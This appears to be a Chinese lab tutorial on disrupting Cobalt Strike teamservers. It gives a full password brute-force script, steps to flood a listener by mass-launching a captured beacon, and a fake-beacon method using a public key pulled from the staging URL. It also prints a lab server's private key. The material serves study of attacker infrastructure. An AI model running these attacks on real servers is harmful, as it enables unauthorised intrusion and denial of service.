一、cobaltstrie简介

所用的工具和脚本

https://wudao3579.oss-cn-beijing.aliyuncs.com/tools/cobaltstrike4.3.zip

https://wudao3579.oss-cn-beijing.aliyuncs.com/tools/CobaltStrikeParser.zip、

https://wudao3579.oss-cn-beijing.aliyuncs.com/tools/CS_fakesubmit.zip

Cobalt Strike(简称为CS)是一款团队作战渗透测试神器,是一种可以用来进行横向移动、数据窃
取、鱼叉式钓鱼的后渗透工具,分为客户端和服务端,一个客户端可以连接多个服务端,一个服务端
也可以对应多个客户端连接。

cobaltsrike运行需要java运行环境

1.1、服务端

服务端是sh脚本,需要在Linux操作系统上执行

chmod +x teamserver
./teamserver [server_ipaddress] [password]

image-20240404182438551

image-20240404182520674

192.168.43.128是CS服务端的ip 后面123是密码,自己设置

1.2、客户端

客户端可以在Linux也可以在Windows上进行运行

image-20240404182859721

image-20240404183029351

开启监听

image-20240404183214189

二、爆破c2密码

cobaltstrike在启动teamserver服务端时需要指定密码,客户端只需验证密码即可登录并操控teamserver,很多安全工作者在使用cobaltstrike学习与渗透过程中经常会进行如下两种行为:

  • 使用默认的端口 50050
  • 使用弱密码

爆破过程

使用脚本:cslntruder.py

#!/usr/bin/env python3
import argparse
import concurrent.futures as futures
import socket
import ssl
import sys

# 若运行存在问题,请使用较高版本python
# 简化了 Connector 类,使用了 Python 内置的 with 语句来自动管理连接的打开和关闭。
# 在 passwordcheck 函数中,增加了异常处理来捕捉连接错误和 SSL 错误。
# 使用 with open 语句来自动关闭文件句柄,防止资源泄漏。

parser = argparse.ArgumentParser(description="Guess password for CS.")
parser.add_argument("-o", "--host", dest="host", type=str, help="CS服务端地址",required=True)
parser.add_argument("-p", "--port", dest="port", type=int, help="CS服务端端口",default=50050)
parser.add_argument("-r", "--password", dest="passwordList", type=str, help="密码字典文件路径",required=True)
parser.add_argument("-t", "--threads", dest="threads", type=int, help="线程数,默认30",default=30)
args = parser.parse_args()

host = args.host
port = args.port
passwordList = args.passwordList
threadsNum = args.threads

class NotConnectedException(Exception):
def __init__(self, message=None, node=None):
self.message = message
self.node = node


class DisconnectedException(Exception):
def __init__(self, message=None, node=None):
self.message = message
self.node = node


class Connector:
def __init__(self):
self.sock = None
self.ssl_sock = None
self.ctx = ssl.SSLContext()
self.ctx.verify_mode = ssl.CERT_NONE

def is_connected(self):
return self.sock and self.ssl_sock

def connect(self, hostname, port):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.settimeout(20) # 一般10
self.ssl_sock = self.ctx.wrap_socket(self.sock)

if hostname == socket.gethostname():
ipaddress = socket.gethostbyname_ex(hostname)[2][0]
self.ssl_sock.connect((ipaddress, port))
else:
self.ssl_sock.connect((hostname, port))

def close(self):
if self.sock:
self.sock.close()
self.sock = None
self.ssl_sock = None

def send(self, buffer):
self.ssl_sock.sendall(buffer)

def receive(self):
received_size = 0
data_buffer = b""

while received_size < 4:
data_in = self.ssl_sock.recv()
data_buffer = data_buffer + data_in
received_size += len(data_in)

return data_buffer

def __enter__(self):
return self

def __exit__(self, exc_type, exc_value, traceback):
self.close()

def passwordcheck(password):
if len(password) == 0:
return False

with Connector() as conn:
conn.connect(args.host, args.port)

payload = bytearray(b"\x00\x00\xbe\xef") + len(password).to_bytes(1, "big", signed=True) + bytes(
bytes(password, "ascii").ljust(256, b"A"))
conn.send(payload)

result = conn.receive()
if result == bytearray(b"\x00\x00\xca\xfe"):
return password
else:
return "It's Not "+password

def main():
passwords = []
if passwordList:
with open(passwordList, "r") as f:
passwords = f.read().split("\n")
else:
for line in sys.stdin:
passwords.append(line.strip())

if not passwords:
print("\033[31m[x] Error:password为空,请检查字典路径文件内容 \033[0m")
return


with futures.ThreadPoolExecutor(max_workers=threadsNum) as executor:
future_Password = {executor.submit(passwordcheck, password): password for password in passwords}
for futureKey in futures.as_completed(future_Password):
password = future_Password[futureKey]
try:
result = futureKey.result()
if "It's Not " not in result:
print(f"\033[32m[o] 爆破成功,目标[{host}:{port}]CS密码: {result}\033[0m")
print(f"\033[33m[!] 请按ctrl+c关闭\033[0m") # 该多线程引发的bug,我懒,坐等pull request
executor.shutdown(wait=False)
sys.exit()
else:
print(f"\033[31m[x] {result}\033[0m", end="\r")
except Exception as e:
print(f"\033[31m[x] Error:{password} 测试发生异常: {str(e)}\033[0m", end="\r")


if __name__ == "__main__":
main()
pip3 install netstruct -i https://pypi.tuna.tsinghua.edu.cn/simple
pip3 install pefile -i https://pypi.tuna.tsinghua.edu.cn/simple
Parameter Note Required
-o CS服务端地址 True
-p CS服务端端口(default:50050) False
-r 密码字典文件路径 True
-t 线程数(default) False
python3 csIntruder.py -o 192.168.43.128 -p 50050 -r /home/kali/Desktop/password.txt 

password.txt需要自己编写和指定

image-20240404184408492

三、DDos c2 Listenter

通过入侵排查获取黑客上传的远控后门木马文件 xxx.exe, 将xxx.exe 放置沙盒或完全隔离的操作系统中,多线程并发执行多次上线行为,会挤占大量系统内存和网络连接,影响黑客cobaltstrike正常使用。

在windows server 2016 作为完全隔离的操作系统演示DDos过程

使用的脚本:csDDos.py

Parameter Note Required
-f CS木马文件路径/执行命令 True
-t 线程数(default:300) False

生成后门程序

image-20240404184932940

image-20240404185323729

由于虚拟机中python包没下载成功,所以借用课程图

python csDDos.py -f beacon.exe

26

27

四、fake beacon

fake beacon 俗称cs假上线,通过模拟cobaltstrike上线流量,伪造大量beacon,影响cobaltstrike客户端与teamserver的正常运行。

与 DDos的区别:

  • DDos是采用多线程模式的真上线,需要一个完全隔离的机器运行,DDos时同时也会占用自己的内存。
  • Fake Beacon是模拟的假上线,不会运行后门,不会对自己的机器造成影响,但解密流量需要teamserver服务端的Public Key

4.1、在teamserver所在目录执行脚本

获取public keys

使用脚本

cs_fakesubmit.py、DumpKeys.java

java -cp cobaltstrike.jar /home/kali/Desktop/CS/CS_fakesubmit/DumpKeys.java
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Private Key: MIICdQIBADANBgkqhkiG9w0BAQEFAASCAl8wggJbAgEAAoGBAIYhF5RbhjSRRgkewk5yzDfE2hLChXXlHf4hWyxX8Bmp5SuxRRGxz13MovWrDDQpNgcdp4YF1vRmxQ2PzsiTKJy/2BMpWyA+EPM3HFfw6pLGbIOmCnR6vouVKdmYXb5A0uHesbXo8QKVJyeiDL6loWQS/Oxjr721CuJin3zksFe3AgMBAAECgYAqXwPS4wLHUmkccnIRVCR9LZtyN67valyKLkFeBb2cbdYuckaOa2xFhmKoVst5ItelcdG8/dVEyb5QJXC+XfaC741FgPxhciLUVxCkvqNNpI1Bhh9u95emQUSXeqrDaJlxkOHniWfHMkDyBVN9eGr9+9mjfs6Y3lCvfkCofTaE2QJBANe8G3NKODnk5mrlTahw1sBpLZ113b+ffuz23k1n+6a8HUHC9zNsPTCjipUATDysHa7uauNhvT4pZcv6kiqvlAUCQQCfKddC5YLMqRt6CPgdazOiqJxJ7o7amIp86PDj7ciYOT2XdhdKZ/CiRv6/DdJtmgz+KI4uurKDpbouWlg5MWWLAkBrawZgCXyllwwD/dkFHepQNA66cI3RdCFG7EUUVco/4zrOG73qpOJy7Xt7ZYKQU0MUbzJZtbj80rAVONa+2l3hAkBzzjm1jtBwoMpBLK16mjljrFKq6ExAeKSq5cH/1U8SkvNhdKbVmHLZX9aSpDfrTx8M/e0VyvmAF+EzQMDYPDypAkAtVUcLsqDIi9jJwWkbDgs3IyrLwBL2KfOZWnZrQ3+6YdSsVfRuJI4QToLYKCpA5vweJjYHl2bQ3amzDl2DQ2mp

Public Key: MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCGIReUW4Y0kUYJHsJOcsw3xNoSwoV15R3+IVssV/AZqeUrsUURsc9dzKL1qww0KTYHHaeGBdb0ZsUNj87Ikyicv9gTKVsgPhDzNxxX8OqSxmyDpgp0er6LlSnZmF2+QNLh3rG16PEClScnogy+paFkEvzsY6+9tQriYp985LBXtwIDAQAB

image-20240406101259151

这种情况在实战中很难做到

4.2、实战中获取密钥

根据之前分析cs的流量可以,cs流量中会有IPYk的一个包,通过下载这个可以获取密钥

http://192.168.43.128:8009/IPYk

注意IPYk大小写,k是小写

image-20240406103454329

实战中通过parse_beacon_config.py获取Public Keys

先下载python需要的库

pip install -r requirements.txt -i https://pypi.tuna.tsinghua.edu.cn/simple

image-20240406103953093

python parse_beacon_config.py --json /home/kali/Downloads/IPYk

image-20240406104127476

MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCGIReUW4Y0kUYJHsJOcsw3xNoSwoV15R3+IVssV/AZqeUrsUURsc9dzKL1qww0KTYHHaeGBdb0ZsUNj87Ikyicv9gTKVsgPhDzNxxX8OqSxmyDpgp0er6LlSnZmF2+QNLh3rG16PEClScnogy+paFkEvzsY6+9tQriYp985LBXtwIDAQAB

image-20240406104344435

运行cs_fakesumit.py

cs Server URL获取

26

python3 cs_fakesubmit.py

在输入url时别忘记加上端口号

image-20240406105530484

cs假上线成功

image-20240406105613031

可以看到已经成功

攻击者的客户端,接收到了需要目标上线的信息。